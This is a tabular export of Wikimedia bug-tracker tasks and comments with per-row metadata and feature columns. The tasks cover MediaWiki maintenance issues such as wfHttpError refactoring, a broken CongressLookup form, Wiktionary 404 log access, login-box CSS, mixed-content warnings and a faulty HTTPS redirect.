+**Severity**: enhancement",Low,25.0,1328173260,1472852708.0,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_description,declined,True,c2,1,True,False,False,-82,True,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+722238,Turn wfHttpError() into a wrapper for HttpError exception,"Actually, I'm not convinced on this anymore. It's used in a couple of places, not just AjaxDispatcher. Plus some extensions. It's basically harmless. Declined.",,,1472852708,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,3,True,,,157,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+170716,Turn wfHttpError() into a wrapper for HttpError exception,This was never merged -- needs a lot of cleanup before we do. REOPENING.,,,1341328192,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-61,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+170711,Turn wfHttpError() into a wrapper for HttpError exception,Made wfHttpError() thrown an HttpError exception with https://gerrit.wikimedia.org/r/5424,,,1334926906,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+170705,Turn wfHttpError() into a wrapper for HttpError exception,"(In reply to comment #2)
+> Still would've lost time, since the exception still mentions HTML2 as well ;-)
+
+Exception DOCTYPE fixed with  https://gerrit.wikimedia.org/r/5423",,,1334926886,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-71,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+170698,Turn wfHttpError() into a wrapper for HttpError exception,I like Chad's suggestion in r110486 better.  We shouldn't deprecate things that are easy enough to support with a wrapper.,,,1328751682,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,False,,,-81,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0
+170694,Turn wfHttpError() into a wrapper for HttpError exception,"(In reply to comment #1)
+> Additionally, we want to avoid loosing time on old stuff (example: r110486  )
+
+Still would've lost time, since the exception still mentions HTML2 as well ;-)",,,1328244950,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+170690,Turn wfHttpError() into a wrapper for HttpError exception,"Additionally, we want to avoid loosing time on old stuff (example: r110486  )",,,1328173401,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ndmp5ntsqmywtsdlxe4c,task_subcomment,,True,c2,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+35959,Special:CongressLookup doesn't work anymore,"Input 12345 on https://en.wikipedia.org/w/index.php?title=Special:CongressLookup and press Look up then I'm sent to https://en.wikipedia.org/w/index.php?zip=12345&submit=Look+up which shows nothing related.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1327563060,1327978205.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-5jyqtowidyiztql2eebx,task_description,resolved,True,c2,1,False,False,True,-83,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+161707,Special:CongressLookup doesn't work anymore,r110356,,,1327978205,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-5jyqtowidyiztql2eebx,task_subcomment,,True,c2,1,False,,,-83,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+161700,Special:CongressLookup doesn't work anymore,"https://en.wikipedia.org/wiki/Special:CongressLookup works, though.  I'm sure this is b/c of the <form action="""" method=""GET"">",,,1327944678,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5jyqtowidyiztql2eebx,task_subcomment,,True,c2,1,False,,,-83,True,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+34514,Access to HTTP 404 logs for Wiktionary,"Most often many users use wikitionary by directly entering the word they are looking out in the url and if article doesnt exist, get 404, page not found. Is it possible to get access to these 404 logs and share with the community, so that the community can create entries for nonexistant pages which are being looked up by the readers
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1321772700,,PHID-USER-3stle7x2whgjz463c4zz,False,,False,PHID-TASK-rng7tsijdjuhagtccn6z,task_description,open,True,c2,1,False,False,,-93,True,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+157342,Access to HTTP 404 logs for Wiktionary,"**sumanah** wrote:
+
+Pinging Srikanth once more. :)",,,1411512068,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,3,False,,,55,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0
+157335,Access to HTTP 404 logs for Wiktionary,"Srikanth: Could you answer comment 6, please?
+
+[removing ops keyword -> analytics area]",,,1362166082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,True,,,-26,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,1
+157326,Access to HTTP 404 logs for Wiktionary,"**wikimaas** wrote:
+
+Not exactly the same, but I developed a small javascript extension which is handy dealing with the 404s described in the Srikanth Logi's scenario.
+
+See http://en.wiktionary.org/wiki/Wiktionary:Beer_parlour/2013/February#Yahoo_Pipe_for_404s for the thread. 
+
+I realize probably it would be better if the api is totally parsed inside wiktionary, so not with using pipes, but well, its the idea...",,,1362007695,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-26,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+157317,Access to HTTP 404 logs for Wiktionary,"So what is this currently, a request for an automated regularly updated filtered version of the udp logs? (Maybe to be sent to the analytics team?)
+A request for a tool which works on stats.grok.se data or its replacement of the mysterious future?
+Please clarify summary and component.",,,1345759288,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,True,,,-53,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+157308,Access to HTTP 404 logs for Wiktionary,"Nice, can the monthly log of this made available in some place like dumps.wikimedia.org ? My original request was based on Tamil Wiktionary in mind and the urlencoding needs to be decoded for the final output to be useful and unicode might not be junk there. After we get the data from across wiktionaries over a period, we could probably find patterns to exclude junk and give some useful data to community",,,1322375098,,PHID-USER-3stle7x2whgjz463c4zz,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-92,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+157303,Access to HTTP 404 logs for Wiktionary,"**EN.WP.ST47** wrote:
+
+November 1-3, en.wikt, top 300 requested non-existent pages
+
+I have attached the 300 most commonly requested pages that do not exist for the english wiktionary. These pages have been requested 50 times or more in a three day period. Some of the titles look a little strange, such as for example ""%25D8%25AC%25D9%2585%25D8%25A7%25D8%25B9"", as though it was urlencoded twice, but the names used are the ones I got from the pageviews dumps. These mostly contain url fragments - index.php is the number 1 most requested, but there are also some strange ones - as well as years and unicode gunk. I'll let the script keep running and update the attachment with data for the full month.
+
+**Attached**: {F8500}",,,1322349136,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-92,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+157295,Access to HTTP 404 logs for Wiktionary,"The sampled logs wouldn't be of use here anyways; most misses would probably not even show up there. 
+
+We could write code to grab 404 statistics but that still wouldn't cover a chunk of the cases here (urls that are well formed but point to an article that isn't written yet).  Comparing a list of known viewed titles against known titles on the project is the best bet for right now, and doable immediately by anyone who can script a little bit.",,,1321998910,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0
+157286,Access to HTTP 404 logs for Wiktionary,"We log /some/ of this information, but not all. We have 1:1000 sampled Apache logs that we use for internal analysis, but we don't release these publicly because they contain private data. I guess we could release anonymized versions of them, but we don't do that currently.
+
+The page view statistics at e.g. http://stats.grok.se are obtained using the UDP logger that counts the requests for each page but doesn't write a log line to disk for each request (disk I/O tends to be the limiting factor here, AIUI). With the UDP log stream it should definitely be possible to produce 404 statistics.
+
+Reopening because this isn't as impossible as suggested in comment 1.",,,1321998611,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+157278,Access to HTTP 404 logs for Wiktionary,"We don't log this information.  You should be able to use the page views (http://dumps.wikimedia.org/other/) and compare it to the list of existing pages.
+
+This would take some work, but I think it is your best bet.",,,1321906629,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-rng7tsijdjuhagtccn6z,task_subcomment,,True,c2,1,False,,,-93,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,0
+34397,#userlogin is too narrow,"**Author:** `a.d.bergi`
+
+**Description:**
+proposed patch
+
+When logged in, there is a button ""Benutzerkonto Anlegen (mit Passwortzusendung)"" which flows out of the containing box - see given URL.
+I can't see any reason why that box should not have the usual 100% width, so I propose to remove all the width-related css.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://de.wikipedia.org/w/index.php?title=Spezial:Anmelden/signup&useskin=vector&debug=true
+
+**Attached**: {F8579}",Low,25.0,1321208880,1321722264.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-drwfrxufj5mbb73lhdfp,task_description,resolved,True,c2,1,False,False,True,-94,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+159002,#userlogin is too narrow,"**a.d.bergi** wrote:
+
+Typing ""Special:Signup"" in the search form :-)
+Used more often than you might think, it e.g. is a way to create official sock puppets (like bots), the new-user-log then shows ""user:x created new account user:y"".
+Thanks for applying, could you please also remove the piece of code from /branches/wmf/1.18wmf1/skins/vector/screen.css (line 676)?",,,1321819302,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,1
+158997,#userlogin is too narrow,"How do you manage to get to that signup page when being logged in ? :-)
+
+Anyway,  I have applied your patch with r103690",,,1321722264,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+158992,#userlogin is too narrow,"**a.d.bergi** wrote:
+
+Oops, I'm sorry. I've linked to monobook skin which should have been vector, of course (bug was filed under ""vector skin"" also). I think now there's no need for a screenshot any more;
+Also: You must be logged in already to get the second, problematic button (Anyhow, imo it looks better with 100% width).
+
+BTW: The code in 1.18wmf1 is localiced at /skins/vector/screen.css <http://svn.wikimedia.org/viewvc/mediawiki/branches/wmf/1.18wmf1/skins/vector/screen.css?revision=99978&view=markup#l676>, not in /skins/common/commonContent.css",,,1321305874,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,False,,,-94,True,1,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1
+158985,#userlogin is too narrow,"It looks fine to me in Firefox 7.0.1/Ubuntu 11.10.
+
+Browser, version, screenshot?",,,1321300788,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-drwfrxufj5mbb73lhdfp,task_subcomment,,True,c2,1,True,,,-94,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0
+34209,CodeReview images in diffs throw mixed-mode content warning on HTTPS,"CodeReview diffs that include images show the old & new images inline; when on https://www.mediawiki.org/ these are loaded from http://svn.wikimedia.org/ and so throw mixed-content warnings in browsers.
+
+The images are loaded via ViewVC, which doesn't currently work on https://svn.wikimedia.org so we can't just switch it over to SSL or protocol-relative links.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://www.mediawiki.org/wiki/Special:Code/MediaWiki/10262",Low,25.0,1320431100,1712843716.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-3wfzrv2a2ggwauxc52is,False,PHID-TASK-gmjmp6luhydlvuknj4km,task_description,declined,True,c2,1,True,False,False,-95,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+157182,CodeReview images in diffs throw mixed-mode content warning on HTTPS,Indeed; swapped.,,,1320441777,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,True,,,-95,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+157176,CodeReview images in diffs throw mixed-mode content warning on HTTPS,"**sam** wrote:
+
+(In reply to comment #1)
+> Filed the blocker bug 31776 also in RT tracker:
+> https://rt.wikimedia.org/Ticket/Display.html?id=1896
+
+Shouldn't this depend on 31776, not block 31776 from being done?",,,1320439144,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,False,,,-95,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1
+157170,CodeReview images in diffs throw mixed-mode content warning on HTTPS,Filed the blocker bug 31776 also in RT tracker: https://rt.wikimedia.org/Ticket/Display.html?id=1896,,,1320431374,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-gmjmp6luhydlvuknj4km,task_subcomment,,True,c2,1,True,,,-95,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+34201,Redirection from http to https on gerrit.wikimedia broken for some URLs,"If you access gerrit.wikimedia.org via http you are redirected to https. But URLs with a semicolon are broken after the redirect:
+
+https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD
+works,
+but
+http://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD
+redirects to
+https://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git%3ba=tree%3bf=files/apache/sites%3bh=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0%3bhb=HEAD
+which gives a 404.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://gerrit.wikimedia.org/r/gitweb?p=operations/puppet.git;a=tree;f=files/apache/sites;h=14baed1d9e959206c8fa15a6ff8e79bac2d04ab0;hb=HEAD",Low,25.0,1320405420,1322982790.0,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_description,resolved,True,c2,1,False,False,True,-95,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+156798,Redirection from http to https on gerrit.wikimedia broken for some URLs,Fixed in Ie44412e1 (change 1264).,,,1322982790,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+156793,Redirection from http to https on gerrit.wikimedia broken for some URLs,"Just disabling the redirect from http to https at all is probably an acceptable solution. But if the redirect is there, it should work in every case, whether it is used or not.",,,1320920479,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-94,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+156786,Redirection from http to https on gerrit.wikimedia broken for some URLs,"how often are people removing the ""s"" from a url they paste somewhere?",,,1320858304,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mu2cs4n34fm5wsrmm7rt,task_subcomment,,True,c2,1,False,,,-94,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+34104,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"For uploading higher-quality audio source material, it would be nice to support open lossless formats; Apple Lossless is now available as open-source so this should be feasible: <http://alac.macosforge.org/trac/wiki>
+
+Transcoding to our standard output formats (eg .oga Vorbis) would be useful to keep playback support consistent.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: http://alac.macosforge.org/trac/wiki",Low,25.0,1320102900,1515534535.0,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-USER-yek7ymogrv4qc67oilhf,False,PHID-TASK-skbjv26kzo5u2ydsrprc,task_description,declined,True,c2,1,True,True,False,-96,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1
+993609,Apple Lossless (ALAC) audio support via TimedMediaHandler (transcode to oga),"Doesn't seem to be a lot of interest in ALAC currently, though it's feasible in theory. Closing as Declined, but if there's a strong use case can reopen.",,,1515534535,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-skbjv26kzo5u2ydsrprc,task_subcomment,,True,c2,3,True,,,227,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
